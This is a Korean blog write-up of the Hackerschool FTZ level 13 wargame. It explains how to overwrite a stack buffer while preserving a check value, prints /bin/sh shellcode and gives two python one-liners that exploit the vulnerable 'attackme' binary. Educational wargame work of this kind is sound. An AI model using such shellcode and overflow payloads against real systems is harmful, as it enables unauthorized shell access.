[Hackerschool FTZ] level 13 - Stack Guard
by jennysgap[Hackerschool FTZ] level 13 - Stack Guard
Stack Guard에 대한 이해 및 우회기법
Stack Guard: 버퍼 위변조 방지를 위해 나온 기법. 버퍼의 값이 조작되었는지 체크하는 루틴 제공
Password: have no clue
buf 를 이용하여 RET까지 덮어씌우면 중간에 Stack Guard = integer i 값도 변경됨
브레이크 포인트를 어디에 하면 좋을까?
strcpy가 끝남과 동시에 들어가는 if문에 잡으면 좋음
위에서 3번째 줄 보면 sub 메모리 잡는 것임 (%esp에서 418만큼 메모리 할당)
hex(16진수): 418 → dec(10진수): 1048
1048 중에서 1024가 버퍼사이즈, i값은 4byte
1048 - 1028 = 20byte 가 더미로 잡혀있음
더미위치를 확인하기 위해 버퍼에 1024만큼 넣어보기
esp 값 확인
264는 어떻게 나온 값인가? buf에서 RET까지 총 합산하면 얼마일까?
1024[buf] + 4[i] + 20[dummy] + 4[SPF] + 4[RET] = 1056byte
주소 한개가 4byte 씩이기 때문에 4로 나누면 1056 / 4 = 264
쉘코드를 버퍼에 직접 입력하는 방법
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
쉘코드 45byte
1024 - 45 = 979
../attackme $(python -c 'print "\x90"*479+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*512+"\x67\x45\x23\x01"+"\x90"*12+"\xe0\xe4\xff\xbf"')
../attackme $(python -c 'print "\x90"*979+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*12+"\x67\x45\x23\x01"+"\x90"*12+"\xe0\xe4\xff\xbf"')
'BOX' 카테고리의 다른 글
[Hackerschool FTZ] level 14 - 루틴분기 (0) | 2017.12.26 |
---|---|
[webhacking.kr] 홈페이지 가입하기 (0) | 2017.12.22 |
[Hackerschool FTZ] level 12 - Stack Buffer Overflow(2) (0) | 2017.12.13 |
[Hackerschool FTZ] level 11 - Stack Buffer Overflow (0) | 2017.12.13 |
[Hackerschool FTZ] level 10 - 공유메모리 read/write (0) | 2017.12.12 |
블로그의 정보
jennysgap
jennysgap